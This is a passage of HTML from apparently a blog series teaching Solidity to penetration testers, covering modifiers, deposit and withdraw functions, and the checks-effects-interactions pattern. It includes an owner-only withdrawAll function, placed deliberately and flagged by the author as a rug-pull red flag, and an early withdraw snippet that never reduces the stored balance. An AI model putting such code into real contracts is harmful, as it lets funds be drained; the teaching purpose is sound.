!supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>_;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo6; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Above you will see an
authorization modifier using isOwner implemented in line 2. This modifier is used
to return a simple true or false based on the same require statement we
referenced using isOwner. However, with a modifier we can check within the definition of a function instead of the body of the
function as you will see further below with the withdrawAll function.<span style="mso-spacerun: yes;"> </span>For now, as an example of a modifiers usage check out the following
doesSomethingCool function definition, note onlyOwner within the definition. <span style="mso-spacerun: yes;"> </span>This is how we would use a modifier for authorization
checks. </span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo5; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;">function</span><span style="color: white;"> doesSomeThingCool() </span><span style="color: #e28964;">public</span><span style="color: white;"> onlyOwner<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;"> If
the modifier is referenced in the function definition as shown in
doesSomethingCool, the function body will not run unless the user’s msg.sender
value equals that of the owner of the contract.<span style="mso-spacerun: yes;">
</span>After it checks for a true or false value on line 2 and the modifier
code ends, the calling function will continue running as normal following the
_; from line 3.<span style="mso-spacerun: yes;"> </span>This _; value simply
means continue running calling code as normal within the function provided the require
modifier returned true. This is a much cleaner way to handle authorization
across multiple functions with code reuse and ability to change code in one location
rather than hunting down every function that needs authorization of some sort. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">These next two functions should
be pretty self-explanatory by now, but in the spirit of learning Solidity in
this chapter we will deep dive all of the code. </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit () </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">((balances[msg.sender] + msg.</span><span style="color: #e28964;">value</span><span style="color: white;">) >= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>balances[msg.sender] += msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw (</span><span style="color: #e28964;">uint</span><span style="color: white;"> withdrawAmount) </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (withdrawAmount <= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span>balances[msg.sender] -= withdrawAmount;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span>msg.sender.transfer(withdrawAmount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l4 level1 lfo7; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Above we have two functions, a
deposit function for filling your account with Ether from an external account
and a withdraw function for removing your Ether from the contract. You will
notice on line 1 that the definition of deposit has the words public and
payable. The reason being that in order to deposit value to an account the
function must be marked as a payable function. This goes for addresses as well,
when using addresses within value transfers those addresses must also be marked
as payable. This was something that was added the Solidity as of version 5,
prior to version 5 if you are auditing code you will not see this keyword
required within all portions of value transfer events. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">In line 2 you will see a require
line, the require line is a conditional check that if it fails the transaction
will halt and revert back to the state before it was called. In this instance,
if the value is not a positive value, it will fail and the function will return
an error.<span style="mso-spacerun: yes;"> </span>If the value is indeed a
positive number, the next line will run and increase the account value of the
user by the value that was sent. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">The withdraw function at line 6
only receives a withdraw amount that is checked on line 7 to require that
amount to be withdrawn is less than or equal to the account balance of that
user. If this check fails and the user does not have a high enough balance for
the withdraw, then transaction returns an error.<span style="mso-spacerun: yes;"> </span>If it succeeds, then on lines 9 and 10 we
decrease the balance of the user internally followed by transferring the
approved amount back to the users account address. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2 style="text-align: left;"><span style="color: #93c47d;"><a name="_Toc47892474">Checks Effects Interactions:</a></span></h2>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Also note that this code follows
the proper Solidity secure coding pattern of Checks, Effects, Interactions
(CHI). We will go through Solidity coding patterns throughout the book. These
are coding patterns which hinder attack vectors by design. In the CHI pattern,
we always want to first check that the data is valid for the transaction which
we did with the require statement. Then we want to do the effect of the
transaction which is to reduce the balance of the user internally to the
system. Finally, we want to interact with the external address we are
transferring the value to. This pattern will become clear within the Reentrancy
attack chapter. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Effectively an attacker could
re-enter the contract and perform more actions bypassing initial checks if the
value being transferred is not updating the balance prior to interacting with
an un-trusted external party. In order to prevent the attacker from continually
removing value from the contract, we always make sure to update the balance
before transferring the value out of the contract.<span style="mso-spacerun: yes;"> </span>If the transaction happens to fail, the
transfer function will revert the actions taken in the contract effectively
refilling the users account.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">At this point you are probably
starting to notice that Solidity is pretty easy to understand. However, there
are a lot of Gotchas if secure coding patterns are not used or dangerous low
level functionality is handled incorrectly. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">The final snippet of code should
be easy to understand. At this point we have covered all of these concepts. </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdrawAll() </span><span style="color: #e28964;">public</span><span style="color: white;"> onlyOwner {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(address(</span><span style="color: #e28964;">this</span><span style="color: white;">).balance);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> getBalance () </span><span style="color: #e28964;">public</span><span style="color: white;"> view returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> balances[msg.sender];<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo8; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">The first thing to note is on
line 1 which has the onlyOwner modifier created in the beginning of the
contract. If you remember from the explanation earlier, when this modifier is
added to the function definition, it will run the code within isOwner which
checks if the user is the original contract owner created in the constructor when
the contract was deployed. If this user is the owner, then the call within the
body of the function executes and transfers all of the Ethereum value out of
the contracts balance.<span style="mso-spacerun: yes;"> </span>It does this by
simply using a transfer function with the address of the contract and
this.balance. <span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">That should all make sense if you
have been following along but what doesn’t make sense is a bit less obvious.
Can you guess what that is? <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Before reading the next
paragraph, think about what’s wrong with this function? <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">So, did you think about it? Did
you ask yourself the question, “Why does this function even exist?”<span style="mso-spacerun: yes;"> </span>This is an immediate red flag within the code,
that the contract being used in this banking application might have nefarious purposes
by the creators of the contract. At no time should the owner of the contract
have the ability to empty the contract of all its funds. Including that of all
of the users funds who are holding their Ethereum within their personal
accounts on the contract.<span style="mso-spacerun: yes;"> </span>Often you will
see functions like this within less the reputable games which are planning an
exit scam as soon as the contract balance reaches a desired threshold. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">So, while its good to look for
obvious vulnerabilities within code also think about the use case of the code
being reviewed and if something looks off it probably is. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">The final getBalance function on
line 5 is simply a function that returns the balance of the user who calls the
function. You will notice that within the function definition it uses the
“view” keyword indicating that it is not modifying anything and should not
incur fees for processing. It also indicates that it is returning a uint value
which it does in line 6. The function returns the msg.sender’s balance by
querying the balances mapping with the msg.sender key.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892475">Summary</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">This chapter should round out
your knowledge of solidity enough to get started looking at vulnerabilities. We
have covered a lot of common coding themes within solidity which may not be
seen in other languages. We will be covering a lot of coding patterns along
with vulnerable functionality within the following chapters on exploitation. We
will walk through each vulnerability and why it’s an issue within Solidity and
then we will walk through how to attack it with examples of how an attacker
would craft requests or additional attacking code to exploit the flaws. For
additional information on the code above and a walk through of the functionality
in real time, check out the chapters video in the references below. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><o:p><span style="color: #93c47d;"> </span></o:p></p><h3 style="line-height: normal; text-align: left;"><o:p><span style="color: #93c47d;">Contact Info:</span></o:p></h3><p class="MsoNormal" style="line-height: normal;"><o:p><a href="https://twitter.com/ficti0n" target="_blank"><span style="color: #6fa8dc;">@ficti0n</span></a></o:p></p><p class="MsoNormal" style="line-height: normal;"><a href="http://cclabs.io"><span style="color: #6fa8dc;">http://cclabs.io</span></a></p><p class="MsoNormal" style="line-height: normal;"><a href="http://consolecowboys.com"><span style="color: #6fa8dc;">http://consolecowboys.com</span></a></p>
<h3 style="line-height: normal; text-align: left;"><span style="color: #93c47d;"><br /></span></h3><h3 style="line-height: normal; text-align: left;"><span style="color: #93c47d;">References:</span></h3><p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><a href="https://www.youtube.com/watch?v=U9IWSHcfR08"><span style="color: #6fa8dc;">https://www.youtube.com/watch?v=U9IWSHcfR08</span></a></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Open Zeppelin<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><a href="https://github.com/OpenZeppelin/openzeppelin-contracts"><span style="color: #6fa8dc;">https://github.com/OpenZeppelin/openzeppelin-contracts</span></a>
<span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><span style="color: #93c47d;">Checks Effects Interactions<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: normal;"><a href="https://solidity.readthedocs.io/en/v0.6.0/security-considerations.html?highlight=checks%20effects#use-the-checks-effects-interactions-pattern"><span style="color: #6fa8dc;">https://solidity.readthedocs.io/en/v0.6.0/security-considerations.html?highlight=checks%20effects#use-the-checks-effects-interactions-pattern</span></a><o:p></o:p></p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-6173277762644826372020-08-17T01:20:00.013-07:002021-05-09T13:50:22.278-07:00Smart Contract Hacking Chapter 1 - Solidity for Penetration Testers Part 1 (Hello World)<p> </p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><b>Note:</b> We will start off our Smart Contract Hacking journey with some basic solidity programming in the first two weeks. After that we will ramp things up and get a little crazy deploying blockchains and liquidating funds from accounts. But since the purpose of this series is to share the information I have learned over the last two years. I do not want to alienate those new to Smart Contracts and programming so we will take these first few weeks a bit slow. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Also note the text was taken from a book I was / am writing, I retrofitted it for this blog, and placed videos where screenshots may otherwise exist. If something seems off.. Just DM me on twitter and I will update it anything I might have missed during editing, but I tried to edit it as best as possible to meet this format rather then a book. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Cheers @Fiction </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">http://cclabs.io</span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Thanks to @GarrGhar for helping me edit/sanity check info for each of the chapters. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;"><br /></span></p><h2><span style="color: #6aa84f;">About Solidity</span></h2><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">The solidity programming language
is the language used to write smart contracts on the Ethereum blockchain. As of my initial writing of this chapter the current compiler version was 0.6.6. However, the versions
change rapidly. For example, when I started coding in solidity 2
years ago, solidity was in version 4 and now its version 7 with major
library and coding stylistic requirement updates in version 5. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">So, note that
when compiling your code for labs its best to use the version sited
in that particular example. This is easily achieved in the online compilers, by selecting the compiler version from the dropdown
menu. If you would like to give yourself a small challenge, use the latest
compiler version and try to modify the code to work with it. Usually this just
requires a few minor modifications and can be a good learning experience under
the hood of how Solidity works and what has changed. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Solidity is very similar to writing
JavaScript and is fully object oriented. In the intro chapters we will attempt
to provide a quick overview of solidity understanding needed for a penetration
tester. This will not be full guide to programming, as programming is considered
to be a pre-requisite to application hacking. Instead this chapter will be a
gentle introduction of needed concepts you will use throughout this book.
Solidity is also a needed pre-requisite for understanding the rest of the
information and its associated exploitation course.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">However, as long as you understand
general programming concepts then you should have no trouble understanding
solidity. It is a relatively easy language to get up and running with quickly
in comparison to more mature languages like C++ and Java which may take a more
significant amount of time to learn. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">The most important thing to
understand with solidity is that unlike traditional languages, solidity handles
transactions of monetary value by default. Meaning you don’t need to attach to
a payment API to add transactions to your applications. Payment functionality
is baked into the language as its primary purpose and for usage with the
Ethereum blockchain.<span style="mso-spacerun: yes;"> </span>All that's needed for financial transactions in solidity is a standard library transfer function, and you can easily send value to anyone’s
public address. </span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">For example, the following simple function will transfer a specified amount of
Ether to the user calling the function provided they have a large enough
balance to allow the transfer. But lets not dive into that just yet. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #6aa84f;"> </span></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;">function</span><span style="color: white;"> withdraw (</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;"><span style="mso-spacerun: yes;"> </span>require</span><span style="color: white;"> (amount <= balances[msg.sender]);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white;"> </span><o:p></o:p></p>
<h2><span style="color: #6aa84f;"><a name="_Toc47892466">Structure of a Smart Contract</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #6aa84f;">Rather than discuss payments at
this point, let’s not jump to far ahead of ourselves. We need to understand the structure of a smart contract. Let's take a look at a Hello World example. We will analyze all of the key aspects that make
solidity different then other languages you may currently understand.</span></p><p class="MsoNormal" style="line-height: 115%;"><span><span style="color: #6aa84f;">You can easily follow along
with this on </span><a href="http://remix.ethereum.org/"><span style="color: #3d85c6;">http://remix.ethereum.org</span></a><span style="color: #6aa84f;"> which
is a free online IDE and compiler for coding in solidity. A full video walk through of Remix is included later on in this chapter. </span></span><span style="color: #6aa84f;">Remix contains in-browser
compilers and virtual environments that emulate block creation and allow you to
send and receive transactions.</span><span style="color: #6aa84f; mso-spacerun: yes;"> </span><span style="color: #6aa84f;">This is a
